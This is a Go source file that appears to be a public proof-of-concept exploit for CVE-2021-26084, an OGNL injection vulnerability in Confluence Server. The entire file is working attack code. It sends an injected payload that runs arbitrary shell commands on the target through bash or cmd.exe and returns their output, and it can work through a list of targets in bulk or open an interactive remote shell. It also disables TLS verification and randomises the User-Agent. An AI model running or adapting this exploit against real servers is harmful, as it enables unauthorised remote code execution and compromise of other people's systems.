exploit.go

package main

import (
	"bufio"
	"bytes"
	"crypto/tls"
	"errors"
	"flag"
	"fmt"
	"io"
	"net/http"
	"os"
	"regexp"
	"strings"

	"github.com/corpix/uarand"
	log "github.com/sirupsen/logrus"
)

type Options struct {
	file     string
	target   string
	command  string
	interact bool
}

var client *http.Client
var re = regexp.MustCompile(`name="queryString"\s{12}value="a{8}\[([.\s\S]+)]"\s{13}/>`)

func main() {
	options := &Options{}

	flag.StringVar(&options.file, "f", "", "List of targets")
	flag.StringVar(&options.target, "t", "", "Single target to run against")
	flag.StringVar(&options.command, "c", "", "Command to execute")
	flag.BoolVar(&options.interact, "i", false, "Interactive shell mode")
	flag.Parse()

	if options.file != "" && options.target != "" {
		log.Fatal("Cannot specify both file and single target")
	}
	if options.file == "" && options.target == "" {
		log.Fatal("Must specify targets")
	}
	if options.command == "" && !options.interact {
		log.Fatal("Command must be specified")
	}

	// Create http client
	client = &http.Client{
		Transport: &http.Transport{
			TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
		},
	}

	fmt.Println("CVE-2021-26084 - Confluence Server Webwork OGNL injection")
	fmt.Println("Made by Tay (https://github.com/taythebot)")

	if options.file != "" {
		if options.interact {
			log.Fatal("Cannot use interactive shell mode on file")
		}

		f, err := os.Open(options.file)
		if err != nil {
			log.Fatalf("Failed to open file: %s", err)
		}
		defer f.Close()

		scanner := bufio.NewScanner(f)
		for scanner.Scan() {
			target := scanner.Text()

			output, err := exploit(target, options.command)
			if err != nil {
				log.Errorf("Failed to exploit %s: %s", target, err)
			} else {
				log.Infof("Successfully exploited %s", target)
				fmt.Print(output)
			}
		}
	} else {
		if options.interact {
			// Check if exploitable
			log.Infof("Checking if %s is vulnerable", options.target)
			output, err := exploit(options.target, "whoami;hostname;pwd")
			if err != nil {
				log.Fatalf("Failed to exploit %s: %s", options.target, err)
			}
			log.Infof("Target %s is vulnerable", options.target)

			var shell string
			split := strings.Split(output, "\n")
			if len(split) == 4 {
				shell = fmt.Sprintf("%s@%s:%s# ", split[0], split[1], split[2])
			} else {
				log.Info("Possible windows machine detected, no output for pwd")
				shell = fmt.Sprintf("%s@%s:/# ", split[0], split[1])
			}

			// Listen for input
			input := bufio.NewScanner(os.Stdin)
			for {
				fmt.Print(shell)
				input.Scan()

				command := input.Text()

				if command == "" {
					fmt.Println("No input provided, try again")
					continue
				} else if command == "exit" {
					fmt.Println("Exiting interactive mode, goodbye")
					break
				}

				output, err := exploit(options.target, command)
				if err != nil {
					log.Fatalf("Failed to exploit %s: %s", options.target, err)
				}

				fmt.Print(output)
			}
		} else {
			output, err := exploit(options.target, options.command)
			if err != nil {
				log.Errorf("Failed to exploit %s: %s", options.target, err)
			} else {
				log.Infof("Successfully exploited %s", options.target)
				fmt.Print(output)
			}
		}
	}
}

func exploit(url string, c string) (string, error) {
	command := []byte(`queryString=aaaaaaaa\u0027%2b{Class.forName(\u0027javax.script.ScriptEngineManager\u0027).newInstance().getEngineByName(\u0027JavaScript\u0027).\u0065val(\u0027var+isWin+%3d+java.lang.System.getProperty(\u0022os.name\u0022).toLowerCase().contains(\u0022win\u0022)%3b+var+cmd+%3d+new+java.lang.String(\u0022` + c + `\u0022)%3bvar+p+%3d+new+java.lang.ProcessBuilder()%3b+if(isWin){p.command(\u0022cmd.exe\u0022,+\u0022/c\u0022,+cmd)%3b+}+else{p.command(\u0022bash\u0022,+\u0022-c\u0022,+cmd)%3b+}p.redirectErrorStream(true)%3b+var+process%3d+p.start()%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader(process.getInputStream())%3b+var+bufferedReader+%3d+new+java.io.BufferedReader(inputStreamReader)%3b+var+line+%3d+\u0022\u0022%3b+var+output+%3d+\u0022\u0022%3b+while((line+%3d+bufferedReader.readLine())+!%3d+null){output+%3d+output+%2b+line+%2b+java.lang.Character.toString(10)%3b+}\u0027)}%2b\u0027`)

	req, err := http.NewRequest("POST", fmt.Sprintf("%s/pages/doenterpagevariables.action", url), bytes.NewBuffer(command))
	if err != nil {
		return "", err
	}

	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	req.Header.Set("User-Agent", uarand.GetRandom())

	resp, err := client.Do(req)
	if err != nil {
		return "", err
	}

	defer resp.Body.Close()

	body, err := io.ReadAll(resp.Body)
	if err != nil {
		return "", err
	}

	matches := re.FindStringSubmatch(string(body))
	if len(matches) != 2 {
		return "", errors.New("command output not found in body")
	}

	return matches[1], nil
}